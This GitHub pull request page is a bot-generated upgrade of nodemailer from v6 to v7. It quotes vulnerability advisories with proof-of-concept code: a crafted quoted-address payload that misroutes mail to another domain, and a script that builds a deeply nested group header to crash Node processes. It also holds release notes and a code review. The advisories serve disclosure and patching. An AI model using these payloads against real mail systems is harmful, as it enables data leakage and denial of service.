Skip to content

Conversation

@renovate-bot
Copy link
Contributor

@renovate-bot renovate-bot commented Oct 7, 2025

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) ^6.0.0^7.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-13033

The email parsing library incorrectly handles quoted local-parts containing @​. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "[email protected] x"@​internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <[email protected]>', 
  to: "\"[email protected] x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"[email protected] x"@&#8203;internal.domain',
  local: '"[email protected] x"',
  domain: 'internal.domain'
}

But the email is sent to [email protected]

Image

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @​ unless fully compliant with quoting.

GHSA-rcmh-qjqh-p98v

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: [email protected];

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC

const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' [email protected];';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: '[email protected]',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

  1. Force an immediate crash of any server/service that uses Nodemailer
  2. Kill the backend process with a single web request
  3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

CVE-2025-14874

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.


Release Notes

nodemailer/nodemailer (nodemailer)

v7.0.12

Compare Source

Bug Fixes
  • added support for REQUIRETLS (#​1793) (053ce6a)
  • use 8bit encoding for message/rfc822 attachments (adf8611)

v7.0.11

Compare Source

Bug Fixes
  • prevent stack overflow DoS in addressparser with deeply nested groups (b61b9c0)

v7.0.10

Compare Source

Bug Fixes
  • Increase data URI size limit from 100KB to 50MB and preserve content type (28dbf3f)

v7.0.9

Compare Source

Bug Fixes
  • release: Trying to fix release proecess by upgrading Node version in runner (579fce4)

v7.0.7

Compare Source

Bug Fixes
  • addressparser: Fixed addressparser handling of quoted nested email addresses (1150d99)
  • dns: add memory leak prevention for DNS cache (0240d67)
  • linter: Updated eslint and created prettier formatting task (df13b74)
  • refresh expired DNS cache on error (#​1759) (ea0fc5a)
  • resolve linter errors in DNS cache tests (3b8982c)

v7.0.6

Compare Source

Bug Fixes
  • encoder: avoid silent data loss by properly flushing trailing base64 (#​1747) (01ae76f)
  • handle multiple XOAUTH2 token requests correctly (#​1754) (dbe0028)
  • ReDoS vulnerability in parseDataURI and _processDataUrl (#​1755) (90b3e24)

v7.0.5

Compare Source

Bug Fixes
  • updated well known delivery service list (fa2724b)

v7.0.4

Compare Source

Bug Fixes
  • pools: Emit 'clear' once transporter is idle and all connections are closed (839e286)
  • smtp-connection: jsdoc public annotation for socket (#​1741) (c45c84f)
  • well-known-services: Added AliyunQiye (bb9e6da)

v7.0.3

Compare Source

Bug Fixes
  • attachments: Set the default transfer encoding for message/rfc822 attachments as '7bit' (007d5f3)

v7.0.2

Compare Source

Bug Fixes
  • ses: Fixed structured from header (faa9a5e)

v7.0.1

Compare Source

Bug Fixes
  • ses: Use formatted FromEmailAddress for SES emails (821cd09)

v7.0.0

Compare Source

⚠ BREAKING CHANGES
  • SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features
Features
  • SESv2 SDK support, removed older SES SDK v2 and v3 , removed SES rate limiting and idling features (15db667)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate-bot renovate-bot requested a review from a team as a code owner October 7, 2025 23:11
@renovate-bot renovate-bot requested a review from a team as a code owner October 7, 2025 23:11
@product-auto-label product-auto-label bot added samples Issues that are directly related to samples. api: compute Issues related to the Compute Engine API. labels Oct 7, 2025
@dpebot
Copy link
Contributor

dpebot commented Oct 7, 2025

/gcbrun

@trusted-contributions-gcf trusted-contributions-gcf bot added kokoro:force-run Add this label to force Kokoro to re-run the tests. actions:force-run labels Oct 7, 2025
@gemini-code-assist
Copy link
Contributor

Summary of Changes

Hello @renovate-bot, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request upgrades the nodemailer dependency to its latest major version, v7.0.7, primarily to mitigate a significant security vulnerability. The vulnerability involved improper parsing of email addresses, potentially causing emails to be misdirected. This update ensures more robust and secure email handling, while also incorporating other bug fixes and a breaking change related to AWS SES SDK support.

Highlights

  • Dependency Update: The nodemailer package has been updated from ^6.0.0 to ^7.0.7.
  • Security Fix: This update addresses a critical security vulnerability (GHSA-mm7p-fcc7-pg87) in nodemailer related to incorrect handling of quoted local-parts in email addresses, which could lead to email misrouting and data leakage.
  • Major Version Upgrade: The update includes a major version bump to v7.0.0, which introduces breaking changes primarily around SESv2 SDK support, removing older SES SDK versions and related features.
Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature Command Description
Code Review /gemini review Performs a code review for the current pull request in its current state.
Pull Request Summary /gemini summary Provides a summary of the current pull request in its current state.
Comment @gemini-code-assist Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help /gemini help Displays a list of available commands.

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here.

You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.

Footnotes

  1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.

Copy link
Contributor

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request updates nodemailer to v7 to address a security vulnerability. While this is a necessary update, it's a major version bump. My review highlights a potential breaking change due to the use of the deprecated nodemailer-smtp-transport package, which may not be compatible with nodemailer v7. I've recommended refactoring the code to use nodemailer's built-in SMTP transport and removing the obsolete dependency. This is a critical step to ensure the application continues to function correctly after the update.

"@google-cloud/compute": "^4.0.0",
"@sendgrid/mail": "^8.0.0",
"nodemailer": "^6.0.0",
"nodemailer": "^7.0.7",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

high

While updating nodemailer to v7 is necessary for the security fix, this is a major version upgrade that might introduce breaking changes. The file compute/mailjet.js uses the nodemailer-smtp-transport package, which is deprecated and may not be compatible with nodemailer v7.

Since nodemailer v3, SMTP transport is built-in. You should refactor compute/mailjet.js to use the built-in transport and remove the nodemailer-smtp-transport dependency.

The current implementation in compute/mailjet.js is:

const mailer = require('nodemailer');
const smtp = require('nodemailer-smtp-transport');

// ...
const transport = mailer.createTransport(
  smtp({
    host: 'in.mailjet.com',
    port: 2525,
    // ...
  })
);

This should be changed to:

const mailer = require('nodemailer');

// ...
const transport = mailer.createTransport({
  host: 'in.mailjet.com',
  port: 2525,
  // ...
});

After refactoring the code, you should also remove nodemailer-smtp-transport from the dependencies in this file. Please also note that the tests in compute/test/mailjet.test.js mock both libraries and will not catch this potential integration issue.

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from dc7d631 to 6298cd7 Compare October 9, 2025 12:38
@dpebot
Copy link
Contributor

dpebot commented Oct 9, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 6298cd7 to 3e771df Compare October 9, 2025 20:02
@dpebot
Copy link
Contributor

dpebot commented Oct 9, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 3e771df to bee0702 Compare October 21, 2025 18:46
@dpebot
Copy link
Contributor

dpebot commented Oct 21, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from bee0702 to 87afc68 Compare October 22, 2025 08:47
@dpebot
Copy link
Contributor

dpebot commented Oct 22, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 87afc68 to 570c798 Compare October 22, 2025 21:06
@dpebot
Copy link
Contributor

dpebot commented Oct 22, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 570c798 to f0c61a0 Compare October 22, 2025 21:21
@dpebot
Copy link
Contributor

dpebot commented Oct 22, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from f0c61a0 to e804eda Compare October 23, 2025 04:53
@dpebot
Copy link
Contributor

dpebot commented Oct 23, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from e804eda to 460d670 Compare October 27, 2025 15:27
@dpebot
Copy link
Contributor

dpebot commented Oct 27, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 460d670 to 144bb27 Compare October 27, 2025 15:30
@dpebot
Copy link
Contributor

dpebot commented Oct 27, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 144bb27 to 02733df Compare October 28, 2025 11:41
@dpebot
Copy link
Contributor

dpebot commented Dec 15, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 92b8154 to 6f290ba Compare December 15, 2025 19:37
@dpebot
Copy link
Contributor

dpebot commented Dec 15, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 6f290ba to eb24b3e Compare December 17, 2025 22:27
@dpebot
Copy link
Contributor

dpebot commented Dec 17, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from eb24b3e to 62ca03c Compare December 18, 2025 03:46
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 62ca03c to 6dce79b Compare December 18, 2025 15:27
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 6dce79b to a9a85a9 Compare December 18, 2025 16:43
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from a9a85a9 to 9eecbc3 Compare December 18, 2025 18:27
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 9eecbc3 to 66769a3 Compare December 18, 2025 18:29
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 66769a3 to aba751f Compare December 18, 2025 19:37
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from aba751f to 43d80e9 Compare December 18, 2025 20:03
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 43d80e9 to d67eb80 Compare December 18, 2025 20:14
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from d67eb80 to 62ea432 Compare December 18, 2025 20:26
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 62ea432 to 4ff9d3a Compare December 18, 2025 20:28
@dpebot
Copy link
Contributor

dpebot commented Dec 18, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 7bc44c9 to e1b0213 Compare December 25, 2025 18:49
@dpebot
Copy link
Contributor

dpebot commented Dec 25, 2025

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-nodemailer-vulnerability branch from e1b0213 to 0875cd0 Compare December 30, 2025 16:41
@dpebot
Copy link
Contributor

dpebot commented Dec 30, 2025

/gcbrun

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

actions:force-run api: compute Issues related to the Compute Engine API. kokoro:force-run Add this label to force Kokoro to re-run the tests. major samples Issues that are directly related to samples.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants